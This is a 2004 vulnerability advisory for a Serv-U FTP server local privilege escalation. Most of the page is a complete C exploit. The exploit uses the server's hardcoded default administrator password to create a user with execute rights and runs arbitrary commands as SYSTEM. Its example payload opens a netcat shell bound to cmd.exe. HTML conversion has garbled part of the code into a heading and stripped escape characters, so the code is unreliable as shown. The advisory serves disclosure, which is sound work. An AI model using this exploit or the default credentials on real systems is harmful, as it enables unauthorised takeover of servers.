Local Privilege Escalation Vulnerability in ServU FTP server

Reported August 15, 2004, by aT4rins4n3.

VERSIONS AFFECTED

DESCRIPTION
A vulnerability in Rhino Software's Serv-U FTP server 4.x through 5.1.0.0 lets alocal unprivileged user execute commands with SYSTEM privileges because of aproblem with Serv-U administration. This vulnerability stems from the fact that Serv-U FTP server in all its platforms has a local administration account that can be used to configure the server. This account has a default login and password credentials and is only available through the loop back interface. An unprivileged user can connect to the server with the default login information and use the "SITE EXEC" command to execute arbitrary commands. The commands are run with SYSTEM privileges in effect turning Serv-U into a conduit through which administrative commands can be run.

DEMONSTRATION

The discoverer posted the following code as proof of concept:

<p><span style="font-size: 10.0pt;font-family: Courier;">/*<br>&nbsp;* Hax0rcitos proudly presents<br>&nbsp;* Serv-u Local Exploit &gt;v3.x. (tested also against last version5.1.0.0)<br>&nbsp;*<br>&nbsp;* All Serv-u Versions have default Login/password for localAdministration.<br>&nbsp;* This account is only available to connect in the loopback interface, soa<br>&nbsp;* local user will be able to connect to Serv-u with this account andcreate<br>&nbsp;* an ftp user with execute rights. after the user is created, justconnect<br>&nbsp;* to the ftp server and execute a raw "SITE EXEC" command. theprogram will<br>&nbsp;* be execute with SYSTEM privileges.<br>&nbsp;*<br>&nbsp;* Copyright (c) 2003-2004 Haxorcitos.com . All Rights Reserved.<br>&nbsp;*<br>&nbsp;* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "ASIS"<br>&nbsp;* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION<br>&nbsp;* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.<br>&nbsp;*<br>&nbsp;*<br>&nbsp;* Date: 10/2003<br>&nbsp;* Author: Andr s Tarasc Acunha<br>&nbsp;*<br>&nbsp;* Greetings to: #haxorcitos - #localhost and #!dsr blackxors =)<br>&nbsp;*<br>&nbsp;* Tested Against Serv-u 4.x and v5.1.0.0<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;G:exploitserv-Ulocal&gt;whoami<br>&nbsp;&nbsp;&nbsp;&nbsp;INSANEaT4r<br><br>&nbsp;&nbsp;&nbsp;&nbsp;G:exploitserv-Ulocal&gt;servulocal.exe "nc -l-p 99 -e cmd.exe"<br>&nbsp;&nbsp;&nbsp;&nbsp;Serv-u &gt;3.x Local Exploit by Haxorcitos<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;220 Serv-U FTP Server v5.0 for WinSock ready...<br>&nbsp;&nbsp;&nbsp;&nbsp;&gt;USER LocalAdministrator<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;331 User name okay, need password.<br>&nbsp;&nbsp;&nbsp;&nbsp;******************************************************<br>&nbsp;&nbsp;&nbsp;&nbsp;&gt;PASS #l@$ak#.lk;0@P<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;230 User logged in, proceed.<br>&nbsp;&nbsp;&nbsp;&nbsp;******************************************************<br>&nbsp;&nbsp;&nbsp;&nbsp;&gt;SITE MAINTENANCE<br>&nbsp;&nbsp;&nbsp;&nbsp;******************************************************<br>&nbsp;&nbsp;&nbsp;&nbsp;[+] Creating New Domain...<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;200-DomainID=3<br>&nbsp;&nbsp;&nbsp;&nbsp;220 Domain settings saved<br>&nbsp;&nbsp;&nbsp;&nbsp;******************************************************<br>&nbsp;&nbsp;&nbsp;&nbsp;[+] Domain Haxorcitos:3 Created<br>&nbsp;&nbsp;&nbsp;&nbsp;[+] Setting New Domain Online<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;220 Server command OK<br>&nbsp;&nbsp;&nbsp;&nbsp;******************************************************<br>&nbsp;&nbsp;&nbsp;&nbsp;[+] Creating Evil User<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;200-User=haxorcitos<br>&nbsp;&nbsp;&nbsp;&nbsp;200 User settings saved<br>&nbsp;&nbsp;&nbsp;&nbsp;******************************************************<br>&nbsp;&nbsp;&nbsp;&nbsp;[+] Now Exploiting...<br>&nbsp;&nbsp;&nbsp;&nbsp;&gt;USER haxorcitos<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;331 User name okay, need password.<br>&nbsp;&nbsp;&nbsp;&nbsp;******************************************************<br>&nbsp;&nbsp;&nbsp;&nbsp;&gt;PASS whitex0r<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;230 User logged in, proceed.<br>&nbsp;&nbsp;&nbsp;&nbsp;******************************************************<br>&nbsp;&nbsp;&nbsp;&nbsp;[+] Now Executing: nc -l -p 99 -e cmd.exe<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;220 Domain deleted<br>&nbsp;&nbsp;&nbsp;&nbsp;******************************************************<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;G:exploitserv-Ulocal&gt;nc localhost 99<br>&nbsp;&nbsp;&nbsp;&nbsp;Microsoft Windows XP [Versi n 5.1.2600]<br>&nbsp;&nbsp;&nbsp;&nbsp;(C) Copyright 1985-2001 Microsoft Corp.<br><br>&nbsp;&nbsp;&nbsp;&nbsp;C:&gt;whoami<br>&nbsp;&nbsp;&nbsp;&nbsp;whoami<br>&nbsp;&nbsp;&nbsp;&nbsp;NT AUTHORITYSYSTEM<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;C:&gt;<br>&nbsp;*/<br><br>#include<stdio.h><br>#include<stdlib.h><br>#include<winsock2.h><br>#include<io.h><br>#include<process.h><br><br>//Responses<br>#define BANNER "220 "<br>#define USEROK "331 User name okay"<br>#define PASSOK "230 User logged in, proceed."<br>#define ADMOK "230-Switching to SYSTEM MAINTENANCE mode."<br>#define DOMAINID "200-DomainID="<br>//Commands<br><br>#define XPLUSER "USER haxorcitosr"<br>#define XPLPASSWORD "PASS whitex0rr"<br>#define USER "USER LocalAdministratorr"<br>#define PASSWORD "PASS #l@$ak#.lk;0@Pr"<br><br>#define MAINTENANCE "SITE MAINTENANCEr"<br>#define EXIT "QUITr"<br>char newdomain[]="-SETDOMAINr"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-Domain=haxorcitos|0.0.0.0|2121|-1|1|0r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-TZOEnable=0r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;" TZOKey=r";<br>/* "-DynDNSEnable=0r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"DynIPName=r";<br>*/<br>char deldomain[]="-DELETEDOMAINr"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-IP=0.0.0.0r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"PortNo=2121r";<br><br>char newuser[] =<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-SETUSERSETUPr"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-IP=0.0.0.0r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-PortNo=2121r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-User=haxorcitosr"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-Password=whitex0rr"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-HomeDir=c:\r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-LoginMesFile=r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-Disable=0r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-RelPaths=1r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-NeedSecure=0r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-HideHidden=0r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-AlwaysAllowLogin=0r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-ChangePassword=0r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-QuotaEnable=0r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-MaxUsersLoginPerIP=-1r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-SpeedLimitUp=0r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-SpeedLimitDown=0r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-MaxNrUsers=-1r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-IdleTimeOut=600r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-SessionTimeOut=-1r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-Expire=0r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-RatioUp=1r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-RatioDown=1r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-RatiosCredit=0r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-QuotaCurrent=0r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-QuotaMaximum=0r"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-Maintenance=Noner"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-PasswordType=Regularr"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-Ratios=Noner"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"Access=c:\|RELPr";<br><br>#define localport 43958<br>#define localip "127.0.0.1"<br><br>char cadena[1024];<br>int rec,domain;<br>/******************************************************************************/<br><br>void ParseCommands(int sock, char *data, int ShowSend, int showResponses,<br>char *response) {<br>&nbsp;send(sock,data,strlen(data),0);<br>&nbsp;if (ShowSend) printf("&gt;%s",data);<br>&nbsp;Sleep(100);<br>&nbsp;do {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rec=recv(sock,cadena,sizeof(cadena),0);cadena[rec]='';<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (rec&lt;=0) return;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (showResponses)printf("&lt;%s",cadena);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (strncmp(cadena,DOMAINID,strlen(DOMAINID))</process.h></io.h></winsock2.h></stdlib.h></stdio.h></span></p><h2><a name="0_br_#160_#160_#160_#160_#160_#160_#160_#160_domain_atoi_cadena_strlen_DOMAINID_br_#160_while_strncmp_cadena_response_strlen_response_0_br_#160_while_strstr_cadena_response_" id="0_br_#160_#160_#160_#160_#160_#160_#160_#160_domain_atoi_cadena_strlen_DOMAINID_br_#160_while_strncmp_cadena_response_strlen_response_0_br_#160_while_strstr_cadena_response_">0)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;domain=atoi(cadena+strlen(DOMAINID));<br>&nbsp;//} while (strncmp(cadena,response,strlen(response))!=0);<br>&nbsp;} while (strstr(cadena,response)</a></h2>NULL);
 printf("******************************************************r");
}
/******************************************************************************/
int main(int argc, char* argv[])
{
    WSADATA ws;
    int sock,sock2;

    struct sockaddr_in haxorcitos;
    struct sockaddr_in xpl;

printf("Serv-u >3.x Local Exploit by Haxorcitosrr");
if (argc<2) {
    printf("USAGE: ServuLocal.exe"command"r");
    printf("Example: ServuLocal.exe "nc.exe -l-p 99 -e cmd.exe"");
     return(0);
}

    if (WSAStartup( MAKEWORD(2,2), &ws )!=0) {
        printf(" [-] WSAStartup()error");
        exit(0);
    }

    haxorcitos.sin_family = AF_INET;
    haxorcitos.sin_port = htons(localport);
    haxorcitos.sin_addr.s_addr = inet_addr(localip);
    sock=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
    connect(sock,( struct sockaddr*)&haxorcitos,sizeof(haxorcitos));
    rec=recv(sock,cadena,sizeof(cadena),0);cadena[rec]='';
    printf("<%s",cadena);

    ParseCommands(sock,USER,1,1,USEROK);
    ParseCommands(sock,PASSWORD,1,1,PASSOK);
    ParseCommands(sock,MAINTENANCE,1,0,"230 ");

    printf("[+] Creating New Domain...r");
    ParseCommands(sock,newdomain,0,1,BANNER);
    printf("[+] Domain Haxorcitos:%iCreated",domain);

/* Only for v5.x
    printf("[+] Setting New Domain Onliner");
    sprintf(cadena,"-SERVERCOMMANDr-ID=%ir
Command=DomainOnliner",domain);
    ParseCommands(sock,cadena,0,1,BANNER);
*/
    printf("[+] Creating Evil Userr");
    ParseCommands(sock,newuser,0,1,"200 ");
    Sleep(1000);

    printf("[+] Now Exploiting...r");
    xpl.sin_family = AF_INET;
    xpl.sin_port = htons(2121);
    xpl.sin_addr.s_addr = inet_addr(localip);
    sock2=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
    connect(sock2,( struct sockaddr*)&xpl,sizeof(xpl));
    rec=recv(sock2,cadena,sizeof(cadena),0);cadena[rec]='';
    ParseCommands(sock2,XPLUSER,1,1,USEROK);
    ParseCommands(sock2,XPLPASSWORD,1,1,PASSOK);
    printf("[+] Now Executing: %sr",argv[1]);
    sprintf(cadena,"site exec %sr",argv[1]);
    send(sock2,cadena,strlen(cadena),0);
    shutdown(sock2,SD_BOTH);
    Sleep(100);
    ParseCommands(sock,deldomain,0,1,BANNER);
    send(sock,EXIT,strlen(EXIT),0);
    shutdown(sock,SD_BOTH);
    closesocket(sock);
    closesocket(sock2);

    return 0;
}

VENDOR RESPONSE
Rhino Software has beennotified but hasn't released a fix for this problem.

CREDIT
Discovered by aT4r ins4n3.